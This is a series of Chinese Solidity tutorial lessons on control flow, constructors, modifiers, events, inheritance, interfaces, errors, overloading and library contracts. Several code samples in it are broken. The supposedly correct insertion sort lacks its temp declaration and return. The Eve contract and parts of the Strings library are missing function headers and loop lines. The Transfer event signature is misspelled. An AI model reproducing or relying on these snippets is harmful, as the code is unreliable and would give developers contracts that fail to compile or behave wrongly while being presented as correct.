		key = arr[i]
		j = i-1
		while j >=0 and key <

arr[j] :
				arr[j+1] = arr[j]
				j -= 1
		arr[j+1] = key
    return arr
```
### 改写成`solidity`后有`BUG`！
一共8行`python`代码就可以完成插入排序，非常简单。那么我们将它改写成`solidity`代码，将函数，变量，循环等等都做了相应的转换，只需要9行代码：
    // 插入排序 错误版
    function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) {
        
        for (uint i = 1;i < a.length;i++){
            uint temp = a[i];
            uint j=i-1;
            while( (j >= 0) && (temp < a[j])){
                a[j+1] = a[j];
                j--;
            }
            a[j+1] = temp;
        }
        return(a);
    }
```
那我们把改好的放到`remix`上去跑，输入`[2, 5, 3, 1]`。BOOM！有`bug`！改了半天，没找到`bug`在哪。我又去`google`搜”solidity insertion sort”，然后发现网上用`solidity`写的插入算法教程都是错的，比如：[Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d)

Remix decoded output 出现错误内容
![10-1](./img/10-1.jpg)

### 正确的solidity插入排序
花了几个小时，在`Dapp-Learning`社群一个朋友的帮助下，终于找到了`bug`所在。`solidity`中最常用的变量类型是`uint`，也就是正整数，取到负值的话，会报`underflow`错误。而在插入算法中，变量`j`有可能会取到`-1`，引起报错。

这里，我们需要把`j`加1，让它无法取到负值。正确代码：
    // 插入排序 正确版
    function insertionSort(uint[] memory a) public pure returns(uint[] memory) {
        // note that uint can not take negative value
        for

(uint i = 1;i < a.length;i++){
            uint j=i;
            while( (j >= 1) && (temp < a[j-1])){
                a[j] = a[j-1];
                j--;
            }
            a[j] = temp;
        }
    }
```
运行后的结果：

!["输入[2,5,3,1] 输出[1,2,3,5]
"](https://images.mirror-media.xyz/publication-images/S-i6rwCMeXoi8eNJ0fRdB.png?height=300&width=554)

## 总结
这一讲，我们介绍了`solidity`中控制流，并且用`solidity`写了插入排序。看起来很简单，但实际很难。这就是`solidity`，坑很多，每个月都有项目因为这些小`bug`损失几千万甚至上亿美元。掌握好基础，不断练习，才能写出更好的`solidity`代码。

---
title: 11. 构造函数和修饰器
tags:
  - solidity
  - basic
  - constructor
  - modifier
---

# WTF Solidity极简入门: 11. 构造函数和修饰器

-----

这一讲，我们将用合约权限控制（`Ownable`）的例子介绍`solidity`语言中构造函数（`constructor`）和独有的修饰器（`modifier`）。

## 构造函数
构造函数（`constructor`）是一种特殊的函数，每个合约可以定义一个，并在部署合约的时候自动运行一次。它可以用来初始化合约的一些参数，例如初始化合约的`owner`地址：
   address owner; // 定义owner变量

   // 构造函数
   constructor() {
      owner = msg.sender; // 在部署合约的时候，将owner设置为部署者的地址
   }
```

**注意**⚠️：构造函数在不同的solidity版本中的语法并不一致，在Solidity 0.4.22之前，构造函数不使用 `constructor` 而是使用与合约名同名的函数作为构造函数而使用，由于这种旧写法容易使开发者在书写时发生疏漏（例如合约名叫 `Parents`，构造函数名写成

`parents`），使得构造函数变成普通函数，引发漏洞，所以0.4.22版本及之后，采用了全新的 `constructor` 写法。

构造函数的旧写法代码示例：
pragma solidity =0.4.21;
contract Parents {
    // 与合约名Parents同名的函数就是构造函数
    function Parents () public {
    }
}
```
## 修饰器
修饰器（`modifier`）是`solidity`特有的语法，类似于面向对象编程中的`decorator`，声明函数拥有的特性，并减少代码冗余。它就像钢铁侠的智能盔甲，穿上它的函数会带有某些特定的行为。`modifier`的主要使用场景是运行函数前的检查，例如地址，变量，余额等。

![钢铁侠的modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200)

我们来定义一个叫做onlyOwner的modifier：
   // 定义modifier
   modifier onlyOwner {
      require(msg.sender == owner); // 检查调用者是否为owner地址
      _; // 如果是的话，继续运行函数主体；否则报错并revert交易
   }
```
带有`onlyOwner`修饰符的函数只能被`owner`地址调用，比如下面这个例子：
   function changeOwner(address _newOwner) external onlyOwner{
      owner = _newOwner; // 只有owner地址运行这个函数，并改变owner
   }
```
我们定义了一个`changeOwner`函数，运行他可以改变合约的`owner`，但是由于`onlyOwner`修饰符的存在，只有原先的`owner`可以调用，别人调用就会报错。这也是最常用的控制智能合约权限的方法。

###

OpenZeppelin的Ownable标准实现：
`OpenZeppelin`是一个维护`solidity`标准化代码库的组织，他的`Ownable`标准实现如下：
[https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol)

## Remix 演示示例
以 `Owner.sol` 为例。
1. 在 Remix 上编译部署代码。
2. 点击 `owner` 按钮查看当前 owner 变量。
    ![](img/11-1.jpg)
3. 以 owner 地址的用户身份，调用 `changeOwner` 函数，交易成功。
    ![](img/11-2.jpg)
4. 以非 owner 地址的用户身份，调用 `changeOwner` 函数，交易失败，因为modifier onlyOwner 的检查语句不满足。
    ![](img/11-3.jpg)

## 总结
这一讲，我们介绍了`solidity`中的构造函数和修饰符，并举了一个控制合约权限的`Ownable`合约。

---
title: 12. 事件
tags:
  - solidity
  - basic
  - event
---

# WTF Solidity极简入门: 12. 事件

-----

这一讲，我们用转账ERC20代币为例来介绍`solidity`中的事件（`event`）。

## 事件
`Solidity`中的事件（`event`）是`EVM`上日志的抽象，它具有两个特点：

- 响应：应用程序（[`ethers.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)）可以通过`RPC`接口订阅和监听这些事件，并在前端做响应。
- 经济：事件是`EVM`上比较经济的存储数据的方式，每个大概消耗2,000 `gas`；相比之下，链上存储一个新变量至少需要20,000 `gas`。

### 声明事件
事件的声明由`event`关键字开头，接着是事件名称，括号里面写好事件需要记录的变量类型和变量名。以`ERC20`代币合约的`Transfer`事件为例：
event Transfer(address indexed from, address indexed to, uint256

value);
```
我们可以看到，`Transfer`事件共记录了3个变量`from`，`to`和`value`，分别对应代币的转账地址，接收地址和转账数量，其中`from`和`to`前面带有`indexed`关键字，他们会保存在以太坊虚拟机日志的`topics`中，方便之后检索。

### 释放事件
我们可以在函数里释放事件。在下面的例子中，每次用`_transfer()`函数进行转账操作的时候，都会释放`Transfer`事件，并记录相应的变量。
    // 定义_transfer函数，执行转账逻辑
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) external {

        _balances[from] = 10000000; // 给转账地址一些初始代币

        _balances[from] -=  amount; // from地址减去转账数量
        _balances[to] += amount; // to地址加上转账数量

        // 释放事件
        emit Transfer(from, to, amount);
    }
```

## EVM日志 `Log`

以太坊虚拟机（EVM）用日志`Log`来存储`Solidity`事件，每条日志记录都包含主题`topics`和数据`data`两部分。

![](img/12-3.png)

### 主题 `Topics`

日志的第一部分是主题数组，用于描述事件，长度不能超过`4`。它的第一个元素是事件的签名（哈希）。对于上面的`Transfer`事件，它的签名就是：
keccak256("Transfer(addrses,address,uint256)")

//0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
```
除了事件签名，主题还可以包含至多`3`个`indexed`参数，也就是`Transfer`事件中的`from`和`to`。

`indexed`标记的参数可以理解为检索事件的索引“键”，方便之后搜索。每个 `indexed` 参数的大小为固定的256比特，如果参数太大了（比如字符串），就会自动计算哈希存储在主题中。

### 数据 `Data`

事件中不带 `indexed`的参数会被存储在 `data`

部分中，可以理解为事件的“值”。`data` 部分的变量不能被直接检索，但可以存储任意大小的数据。因此一般 `data` 部分可以用来存储复杂的数据结构，例如数组和字符串等等，因为这些数据超过了256比特，即使存储在事件的 `topic` 部分中，也是以哈希的方式存储。另外，`data` 部分的变量在存储上消耗的gas相比于 `topic` 更少。

## `Remix`演示
以 `Event.sol` 合约为例，编译部署。

然后调用 `_transfer` 函数。
![](img/12-1.jpg)

点击右侧的交易查看详情，可以看到日志的具体内容。
![](img/12-2.jpg)

### 在etherscan上查询事件
我们尝试用`_transfer()`函数在`Rinkeby`测试网络上转账100代币，可以在`etherscan`上查询到相应的`tx`：[网址](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7)。

点击`Logs`按钮，就能看到事件明细：

![Event明细](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772)

`Topics`里面有三个元素，`[0]`是这个事件的哈希，`[1]`和`[2]`是我们定义的两个`indexed`变量的信息，即转账的转出地址和接收地址。`Data`里面是剩下的不带`indexed`的变量，也就是转账数量。

## 总结
这一讲，我们介绍了如何使用和查询`solidity`中的事件。很多链上分析工具包括`Nansen`和`Dune Analysis`都是基于事件工作的。

---
title: 13. 继承
tags:
  - solidity
  - basic
  - inheritance
---

# WTF Solidity极简入门: 13. 继承

-----
这一讲，我们介绍`solidity`中的继承（`inheritance`），包括简单继承，多重继承，以及修饰器（`modifier`）和构造函数（`constructor`）的继承。

## 继承
继承是面向对象编程很重要的组成部分，可以显著减少重复代码。如果把合约看作是对象的话，`solidity`也是面向对象的编程，也支持继承。

### 规则
- `virtual`: 父合约中的函数，如果希望子合约重写，需要加上`virtual`关键字。

- `override`：子合约重写了父合约中的函数，需要加上`override`关键字。

**注意**：用`override`修饰`public`变量，会重写与变量同名的`getter`函数，例如：
mapping(address => uint256) public override balanceOf;
```

### 简单继承
我们先写一个简单的爷爷合约`Yeye`，里面包含1个`Log`事件和3个`function`: `hip()`, `pop()`,

`yeye()`，输出都是”Yeye”。
contract Yeye {
    event Log(string msg);

    // 定义3个function: hip(), pop(), man()，Log值为Yeye。
    function hip() public virtual{
        emit Log("Yeye");
    }

    function pop() public virtual{
    }

    function yeye() public virtual {
    }
}
```
我们再定义一个爸爸合约`Baba`，让他继承`Yeye`合约，语法就是`contract Baba is Yeye`，非常直观。在`Baba`合约里，我们重写一下`hip()`和`pop()`这两个函数，加上`override`关键字，并将他们的输出改为`”Baba”`；并且加一个新的函数`baba`，输出也是`”Baba”`。
contract Baba is Yeye{
    // 继承两个function: hip()和pop()，输出改为Baba。
    function hip() public virtual override{
        emit Log("Baba");
    }

    function pop() public virtual override{
    }

    function baba() public virtual{
    }
}
```
我们部署合约，可以看到`Baba`合约里有4个函数，其中`hip()`和`pop()`的输出被成功改写成`”Baba”`，而继承来的`yeye()`的输出仍然是`”Yeye”`。

### 多重继承
`solidity`的合约可以继承多个合约。规则：

1. 继承时要按辈分最高到最低的顺序排。比如我们写一个`Erzi`合约，继承`Yeye`合约和`Baba`合约，那么就要写成`contract Erzi is Yeye, Baba`，而不能写成`contract Erzi is Baba, Yeye`，不然就会报错。

2. 如果某一个函数在多个继承的合约里都存在，比如例子中的`hip()`和`pop()`，在子合约里必须重写，不然会报错。

3.

重写在多个父合约中都重名的函数时，`override`关键字后面要加上所有父合约名字，例如`override(Yeye, Baba)`。

例子：
contract Erzi is Yeye, Baba{
    // 继承两个function: hip()和pop()，输出值为Erzi。
    function hip() public virtual override(Yeye, Baba){
        emit Log("Erzi");
    }

    function pop() public virtual override(Yeye, Baba) {
    }
```
我们可以看到，`Erzi`合约里面重写了`hip()`和`pop()`两个函数，将输出改为`”Erzi”`，并且还分别从`Yeye`和`Baba`合约继承了`yeye()`和`baba()`两个函数。

### 修饰器的继承
`Solidity`中的修饰器（`Modifier`）同样可以继承，用法与函数继承类似，在相应的地方加`virtual`和`override`关键字即可。
contract Base1 {
    modifier exactDividedBy2And3(uint _a) virtual {
        require(_a % 2 == 0 && _a % 3 == 0);
        _;
    }
}

contract Identifier is Base1 {

    //计算一个数分别被2除和被3除的值，但是传入的参数必须是2和3的倍数
    function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) {
        return getExactDividedBy2And3WithoutModifier(_dividend);
    }

    //计算一个数分别被2除和被3除的值
    function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){
        uint div2 = _dividend / 2;
        uint div3 = _dividend / 3;
        return (div2, div3);
   
   }
}
```

`Identifier`合约可以直接在代码中使用父合约中的`exactDividedBy2And3`修饰器，也可以利用`override`关键字重写修饰器：

    modifier exactDividedBy2And3(uint _a) override {
        _;
    }
```

### 构造函数的继承
子合约有两种方法继承父合约的构造函数。举个简单的例子，父合约`A`里面有一个状态变量`a`，并由构造函数的参数来确定：
// 构造函数的继承
abstract contract A {
    uint public a;

    constructor(uint _a) {
        a = _a;
    }
}
```
1. 在继承时声明父构造函数的参数，例如：`contract B is A(1)`
2. 在子合约的构造函数中声明构造函数的参数，例如：
contract C is A {
    constructor(uint _c) A(_c * _c) {}
}
```
### 调用父合约的函数
子合约有两种方式调用父合约的函数，直接调用和利用`super`关键字。

1. 直接调用：子合约可以直接用`父合约名.函数名()`的方式来调用父合约函数，例如`Yeye.pop()`。
    function callParent() public{
        Yeye.pop();
    }
```
2. `super`关键字：子合约可以利用`super.函数名()`来调用最近的父合约函数。`solidity`继承关系按声明时从右到左的顺序是：`contract Erzi is Yeye, Baba`，那么`Baba`是最近的父合约，`super.pop()`将调用`Baba.pop()`而不是`Yeye.pop()`：
    function callParentSuper() public{
        // 将调用最近的父合约函数，Baba.pop()
        super.pop();
    }
```

###

钻石继承

在面向对象编程中，钻石继承（菱形继承）指一个派生类同时有两个或两个以上的基类。

在多重+菱形继承链条上使用`super`关键字时，需要注意的是使用`super`会调用继承链条上的每一个合约的相关函数，而不是只调用最近的父合约。

我们先写一个合约`God`，再写`Adam`和`Eve`两个合约继承`God`合约，最后让创建合约`people`继承自`Adam`和`Eve`，每个合约都有`foo`和`bar`两个函数。

pragma solidity ^0.8.13;

/* 继承树：
  God
 /  \
Adam Eve
 \  /
people
*/

contract God {
    event Log(string message);

    function foo() public virtual {
        emit Log("God.foo called");
    }

    function bar() public virtual {
        emit Log("God.bar called");
    }
}

contract Adam is God {
    function foo() public virtual override {
        emit Log("Adam.foo called");
    }

    function bar() public virtual override {
        emit Log("Adam.bar called");
        super.bar();
    }
}

contract Eve is God {
        emit Log("Eve.foo called");
        Eve.foo();
    }

        emit Log("Eve.bar called");
    }
}

contract people is Adam, Eve {
    function foo() public override(Adam, Eve) {
        super.foo();
    }

    function bar() public override(Adam, Eve) {
   
   }
}

```

在这个例子中，调用合约`people`中的`super.bar()`会依次调用`Eve`、`Adam`，最后是`God`合约。

虽然`Eve`、`Adam`都是`God`的子合约，但整个过程中`God`合约只会被调用一次。原因是Solidity借鉴了Python的方式，强制一个由基类构成的DAG（有向无环图）使其保证一个特定的顺序。更多细节你可以查阅[Solidity的官方文档](https://solidity-cn.readthedocs.io/zh/develop/contracts.html?highlight=%E7%BB%A7%E6%89%BF#index-16)。

## 在Remix上验证

- 合约简单继承示例, 可以观察到Baba合约多了Yeye的函数
  ![13-1](./img/13-1.png)
  ![13-2](./img/13-2.png)
- 合约多重继承可以参考简单继承的操作步骤来增加部署Erzi合约，然后观察暴露的函数以及尝试调用来查看日志
- 修饰器继承示例
  ![13-3](./img/13-3.png)
  ![13-4](./img/13-4.png)
  ![13-5](./img/13-5.png)
- 构造函数继承示例
  ![13-6](./img/13-6.png)
  ![13-7](./img/13-7.png)
- 调用父合约示例
  ![13-8](./img/13-8.png)
  ![13-9](./img/13-9.png)

 * 菱形继承示例

   ![13-10](./img/13-10.png)

## 总结

这一讲，我们介绍了`solidity`继承的基本用法，包括简单继承，多重继承，修饰器和构造函数的继承、调用父合约中的函数，以及多重继承中的菱形继承问题。

---
title: 14. 抽象合约和接口
tags:
  - solidity
  - basic
  - abstract
  - interface
---

# WTF Solidity极简入门: 14. 抽象合约和接口

-----

这一讲，我们用`ERC721`的接口合约为例介绍`solidity`中的抽象合约（`abstract`）和接口（`interface`），帮助大家更好的理解`ERC721`标准。

## 抽象合约
如果一个智能合约里至少有一个未实现的函数，即某个函数缺少主体`{}`中的内容，则必须将该合约标为`abstract`，不然编译会报错；另外，未实现的函数需要加`virtual`，以便子合约重写。拿我们之前的[插入排序合约](https://github.com/AmazingAng/WTFSolidity/tree/main/07_InsertionSort)为例，如果我们还没想好具体怎么实现插入排序函数，那么可以把合约标为`abstract`，之后让别人补写上。
abstract contract InsertionSort{
    function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory);
}
```
##

接口

接口类似于抽象合约，但它不实现任何功能。接口的规则：

1. 不能包含状态变量
2. 不能包含构造函数
3. 不能继承除接口外的其他合约
4. 所有函数都必须是external且不能有函数体
5. 继承接口的合约必须实现接口定义的所有功能

虽然接口不实现任何功能，但它非常重要。接口是智能合约的骨架，定义了合约的功能以及如何触发它们：如果智能合约实现了某种接口（比如`ERC20`或`ERC721`），其他Dapps和智能合约就知道如何与它交互。因为接口提供了两个重要的信息：

1. 合约里每个函数的`bytes4`选择器，以及函数签名`函数名(每个参数类型）`。

2. 接口id（更多信息见[EIP165](https://eips.ethereum.org/EIPS/eip-165)）

另外，接口与合约`ABI`（Application Binary Interface）等价，可以相互转换：编译接口可以得到合约的`ABI`，利用[abi-to-sol工具](https://gnidan.github.io/abi-to-sol/)也可以将`ABI json`文件转换为`接口sol`文件。

我们以`ERC721`接口合约`IERC721`为例，它定义了3个`event`和9个`function`，所有`ERC721`标准的NFT都实现了这些函数。我们可以看到，接口和常规合约的区别在于每个函数都以`;`代替函数体`{ }`结尾。

interface IERC721 is IERC165 {
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
    
    function balanceOf(address owner) external view returns (uint256 balance);

    function ownerOf(uint256 tokenId) external view returns (address

owner);

    function safeTransferFrom(address from, address to, uint256 tokenId) external;

    function transferFrom(address from, address to, uint256 tokenId) external;

    function approve(address to, uint256 tokenId) external;

    function getApproved(uint256 tokenId) external view returns (address operator);

    function setApprovalForAll(address operator, bool _approved) external;

    function isApprovedForAll(address owner, address operator) external view returns (bool);

    function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external;
}
```

### IERC721事件
`IERC721`包含3个事件，其中`Transfer`和`Approval`事件在`ERC20`中也有。
- `Transfer`事件：在转账时被释放，记录代币的发出地址`from`，接收地址`to`和`tokenid`。
- `Approval`事件：在授权时释放，记录授权地址`owner`，被授权地址`approved`和`tokenid`。
- `ApprovalForAll`事件：在批量授权时释放，记录批量授权的发出地址`owner`，被授权地址`operator`和授权与否的`approved`。

### IERC721函数
- `balanceOf`：返回某地址的NFT持有量`balance`。
- `ownerOf`：返回某`tokenId`的主人`owner`。
- `transferFrom`：普通转账，参数为转出地址`from`，接收地址`to`和`tokenId`。
-

`safeTransferFrom`：安全转账（如果接收方是合约地址，会要求实现`ERC721Receiver`接口）。参数为转出地址`from`，接收地址`to`和`tokenId`。
- `approve`：授权另一个地址使用你的NFT。参数为被授权地址`approve`和`tokenId`。
- `getApproved`：查询`tokenId`被批准给了哪个地址。
- `setApprovalForAll`：将自己持有的该系列NFT批量授权给某个地址`operator`。
- `isApprovedForAll`：查询某地址的NFT是否批量授权给了另一个`operator`地址。
- `safeTransferFrom`：安全转账的重载函数，参数里面包含了`data`。

### 什么时候使用接口？
如果我们知道一个合约实现了`IERC721`接口，我们不需要知道它具体代码实现，就可以与它交互。

无聊猿`BAYC`属于`ERC721`代币，实现了`IERC721`接口的功能。我们不需要知道它的源代码，只需知道它的合约地址，用`IERC721`接口就可以与它交互，比如用`balanceOf()`来查询某个地址的`BAYC`余额，用`safeTransferFrom()`来转账`BAYC`。

contract interactBAYC {
    // 利用BAYC地址创建接口合约变量（ETH主网）
    IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);

    // 通过接口调用BAYC的balanceOf()查询持仓量
    function balanceOfBAYC(address owner) external view returns (uint256 balance){
        return BAYC.balanceOf(owner);
    }

    // 通过接口调用BAYC的safeTransferFrom()安全转账
    function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
        BAYC.safeTransferFrom(from, to, tokenId);
    }
}
```

- 抽象合约示例（简单的演示代码如图所示）
 
 ![14-1](./img/14-1.png)
- 接口示例（简单的演示代码如图所示）
  ![14-2](./img/14-2.png)

## 总结
这一讲，我介绍了`solidity`中的抽象合约（`abstract`）和接口（`interface`），他们都可以写模版并且减少代码冗余。我们还讲了`ERC721`接口合约`IERC721`，以及如何利用它与无聊猿`BAYC`合约进行交互。

---
title: 15. 异常
tags:
  - solidity
  - advanced
  - error
  - revert/assert/require
---

# WTF Solidity极简入门: 15. 异常

-----

这一讲，我们介绍`solidity`三种抛出异常的方法：`error`，`require`和`assert`，并比较三种方法的`gas`消耗。

## 异常
写智能合约经常会出`bug`，`solidity`中的异常命令帮助我们`debug`。

### Error
`error`是`solidity 0.8.4版本`新加的内容，方便且高效（省`gas`）地向用户解释操作失败的原因，同时还可以在抛出异常的同时携带参数，帮助开发者更好地调试。人们可以在`contract`之外定义异常。下面，我们定义一个`TransferNotOwner`异常，当用户不是代币`owner`的时候尝试转账，会抛出错误：
error TransferNotOwner(); // 自定义error
```
我们也可以定义一个携带参数的异常，来提示尝试转账的账户地址
error TransferNotOwner(address sender); //

自定义的带参数的error
```

在执行当中，`error`必须搭配`revert`（回退）命令使用。
    function transferOwner1(uint256 tokenId, address newOwner) public {
        if(_owners[tokenId] != msg.sender){
            revert TransferNotOwner();
            // revert TransferNotOwner(msg.sender);
        }
        _owners[tokenId] = newOwner;
    }
```
我们定义了一个`transferOwner1()`函数，它会检查代币的`owner`是不是发起人，如果不是，就会抛出`TransferNotOwner`异常；如果是的话，就会转账。

### Require
`require`命令是`solidity 0.8版本`之前抛出异常的常用方法，目前很多主流合约仍然还在使用它。它很好用，唯一的缺点就是`gas`随着描述异常的字符串长度增加，比`error`命令要高。使用方法：`require(检查条件，"异常的描述")`，当检查条件不成立的时候，就会抛出异常。

我们用`require`命令重写一下上面的`transferOwner`函数：
    function transferOwner2(uint256 tokenId, address newOwner) public {
        require(_owners[tokenId] == msg.sender, "Transfer Not Owner");
    }
```

### Assert
`assert`命令一般用于程序员写程序`debug`，因为它不能解释抛出异常的原因（比`require`少个字符串）。它的用法很简单，`assert(检查条件）`，当检查条件不成立的时候，就会抛出异常。

我们用`assert`命令重写一下上面的`transferOwner`函数：
    function transferOwner3(uint256 tokenId, address newOwner) public {
        assert(_owners[tokenId] == msg.sender);
    }
```

##

在remix上验证
   
1. 输入任意`uint256`数字和非0地址，调用`transferOwner1`，也就是`error`方法，控制台抛出了异常并显示我们自定义的`TransferNotOwner`。
   ![15 1.png](./img/15-1.png)
   
2. 输入任意`uint256`数字和非0地址，调用`transferOwner2`，也就是`require`方法，控制台抛出了异常并打印出`require`中的字符串。
   ![15 2.png](./img/15-2.png)
   
3. 输入任意`uint256`数字和非0地址，调用`transferOwner3`，也就是`assert`方法，控制台只抛出了异常。
   ![15 3.png](./img/15-3.png)
   
## 三种方法的gas比较
我们比较一下三种抛出异常的`gas`消耗，通过remix控制台的Debug按钮，能查到每次函数调用的`gas`消耗分别如下：
（使用0.8.17版本编译）

1. **`error`方法`gas`消耗**：24457  (**加入参数后`gas`消耗**：24660)
2. **`require`方法`gas`消耗**：24755
3. **`assert`方法`gas`消耗**：24473

我们可以看到，`error`方法`gas`最少，其次是`assert`，`require`方法消耗`gas`最多！因此，`error`既可以告知用户抛出异常的原因，又能省`gas`，大家要多用！（注意，由于部署测试时间的不同，每个函数的`gas`消耗会有所不同，但是比较结果会是一致的。）

**备注:** Solidity 0.8.0之前的版本，`assert`抛出的是一个 `panic exception`，会把剩余的 `gas` 全部消耗，不会返还。更多细节见[官方文档](https://docs.soliditylang.org/en/v0.8.17/control-structures.html)。

## 总结
这一讲，我们介绍`solidity`三种抛出异常的方法：`error`，`require`和`assert`，并比较了三种方法的`gas`消耗。结论：`error`既可以告知用户抛出异常的原因，又能省`gas`。

---
title: 16. 函数重载
tags:
  - solidity
  - advanced
  - overloading
---

# WTF Solidity极简入门: 16. 函数重载

-----

## 重载
`solidity`中允许函数进行重载（`overloading`），即名字相同但输入参数类型不同的函数可以同时存在，他们被视为不同的函数。注意，`solidity`不允许修饰器（`modifier`）重载。
### 函数重载
举个例子，我们可以定义两个都叫`saySomething()`的函数，一个没有任何参数，输出`"Nothing"`；另一个接收一个`string`参数，输出这个`string`。

function saySomething() public pure returns(string memory){
    return("Nothing");
}

function saySomething(string memory something) public pure returns(string memory){
    return(something);
}
```

最终重载函数在经过编译器编译后，由于不同的参数类型，都变成了不同的函数选择器（selector）。关于函数选择器的具体内容可参考[WTF Solidity极简入门: 29.

函数选择器Selector](https://github.com/AmazingAng/WTFSolidity/tree/main/29_Selector)。

以 `Overloading.sol` 合约为例，在 Remix 上编译部署后，分别调用重载函数 `saySomething()` 和 `saySomething(string memory something)`，可以看到他们返回了不同的结果，被区分为不同的函数。
![](./img/16-1.jpg)

### 实参匹配（Argument Matching）
在调用重载函数时，会把输入的实际参数和函数参数的变量类型做匹配。
如果出现多个匹配的重载函数，则会报错。下面这个例子有两个叫`f()`的函数，一个参数为`uint8`，另一个为`uint256`：
    function f(uint8 _in) public pure returns (uint8 out) {
        out = _in;
    }

    function f(uint256 _in) public pure returns (uint256 out) {
        out = _in;
    }
```
我们调用`f(50)`，因为`50`既可以被转换为`uint8`，也可以被转换为`uint256`，因此会报错。

## 总结
这一讲，我们介绍了`solidity`中函数重载的基本用法：名字相同但输入参数类型不同的函数可以同时存在，他们被视为不同的函数。

---
title: 17. 库合约
tags:
  - solidity
  - advanced
  - library
  - using for
---

# WTF Solidity极简入门: 17. 库合约 站在巨人的肩膀上

-----
这一讲，我们用`ERC721`的引用的库合约`String`为例介绍`solidity`中的库合约（`library`），并总结了常用的库函数。

## 库函数
库函数是一种特殊的合约，为了提升`solidity`代码的复用性和减少`gas`而存在。库合约一般都是一些好用的函数合集（`库函数`），由大神或者项目方创作，咱们站在巨人的肩膀上，会用就行了。

![库合约：站在巨人的肩膀上](https://images.mirror-media.xyz/publication-images/HJC0UjkALdrL8a2BmAE2J.jpeg?height=300&width=388)

他和普通合约主要有以下几点不同：

1. 不能存在状态变量
2. 不能够继承或被继承
3. 不能接收以太币
4. 不可以被销毁

## String库合约
`String库合约`是将`uint256`类型转换为相应的`string`类型的代码库，样例代码如下：
library Strings {
    bytes16 private constant

_HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) public pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) public pure returns (string memory) {
            return "0x00";
        }
        uint256 length = 0;
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) public pure returns

(string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
    }
}
```
他主要包含两个函数，`toString()`将`uint256`转为`string`，`toHexString()`将`uint256`转换为`16进制`，在转换为`string`。

### 如何使用库合约
我们用String库函数的toHexString()来演示两种使用库合约中函数的办法。

**1. 利用using for指令**

指令`using A for B;`可用于附加库函数（从库 A）到任何类型（B）。添加完指令后，库`A`中的函数会自动添加为`B`类型变量的成员，可以直接调用。注意：在调用的时候，这个变量会被当作第一个参数传递给函数：
    // 利用using for指令
    using Strings for uint256;
    function getString1(uint256 _number) public pure returns(string memory){
        // 库函数会自动添加为uint256型变量的成员
        return _number.toHexString();
    }
```
**2. 通过库合约名称调用库函数**
    // 直接通过库合约名调用
    function getString2(uint256 _number) public pure returns(string memory){
        return Strings.toHexString(_number);
    }
```
我们部署合约并输入`170`测试一下，两种方法均能返回正确的`16进制string`

“0xaa”。证明我们调用库函数成功！

![成功调用库函数](https://images.mirror-media.xyz/publication-images/bzB_JDC9f5VWHRjsjQyQa.png?height=750&width=580)
## 总结
这一讲，我们用`ERC721`的引用的库函数`String`为例介绍`solidity`中的库函数（`Library`）。99%的开发者都不需要自己去写库合约，会用大神写的就可以了。我们只需要知道什么情况该用什么库合约。常用的有：

1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol)：将`uint256`转换为`String`
2. [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Address.sol)：判断某个地址是否为合约地址
3. [Create2](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Create2.sol)：更安全的使用`Create2 EVM opcode`
4. [Arrays](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Arrays.sol)：跟数组相关的库函数

---
title: 18. Import
tags:
  - solidity
  - advanced
  - import
---

# WTF Solidity极简入门: 18. Import

欢迎加入WTF科学家社区，内有加微信群方法：[链接](https://discord.gg/5akcruXrsk)

所有代码和教程开源在github（1024个star发课程认证，2048个star发社群NFT）: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

-----

